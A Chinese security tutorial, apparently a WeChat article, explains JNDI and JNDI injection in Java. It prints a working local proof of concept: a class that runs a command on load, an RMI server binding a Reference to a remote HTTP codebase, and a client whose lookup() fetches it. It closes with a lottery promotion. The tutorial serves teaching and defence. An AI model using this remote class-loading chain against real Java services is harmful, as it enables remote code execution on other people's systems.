点击蓝字,关注我们
一、什么是JNDI
JNDI(Java Naming and Directory Interface)是一种应用程序编程接口(API),它为使用Java编程语言编写的应用程序提供命名和目录功能。它被定义为独立于任何特定的目录服务实现。由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
简单理解就是 name—object,一个名字对应一个对象。用于为开发者提供查找和访问各种服务和配置项的统一接口,解除系统间的耦合。
支持一下几种对象
Java serializable objects //可序列化对象 Referenceable objects and JNDI References //引用对象 Objects with attributes (DirContext) // 属性对象 RMI (Java Remote Method Invocation) objects (including those that use IIOP) //远程对象 CORBA objects //CORBA对象
我们正常说的JNDI注入其实是引用对象(reference
)
Reference:JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现。
会在查询的时候执行工厂里的代码逻辑,对象工厂在传递引用的时候是可以控制的。允许从不同的地址来执行动态的代码。
对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
官方文档:
https://docs.oracle.com/javase/jndi/tutorial/objects/storing/index.html
历史版本
二、JNDI注入
1、相关类
InitialContext类
构造方法:
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
常用方法:
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name) //lookup(uri);// 获取指定的远程对象
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
Reference类
该类也是在javax.naming
的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI
中类的引用功能。即JNDI注入的根因。
构造方法:
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
2.JNDI注入
JNDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击。
代码示例:
这里用的是jdk1.7.0_80版本。
需要提前准备一个恶意类,编译后起一个临时的http服务。需要注意的是http服务的端口要和JNDI服务端Reference链接的端口一致。
恶意类
public class calc {
public calc(){
try{
Runtime.getRuntime().exec("calc");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
calc e = new calc();
}
}
server端
服务端注册端口为7778
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("calc","calc","http://127.0.0.1:8089/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}
client端
客户端也就是受害者访问server端的RMI端口也为7778
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException{
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
先启动http服务,然后启动server再启动client。
抽奖环节
抽奖规则
1.本次抽奖将会送出中秋礼盒*1
补天吨吨杯*2
10元现金红包*3
2.转发本文至朋友圈,并保留至开奖当天
参与方式
公众号后台回复“抽奖”
领奖方式
开奖后48小时内联系我们,逾期将视为自动放弃
活动时间
2024年9月2日 22:00至2024年9月6日20:00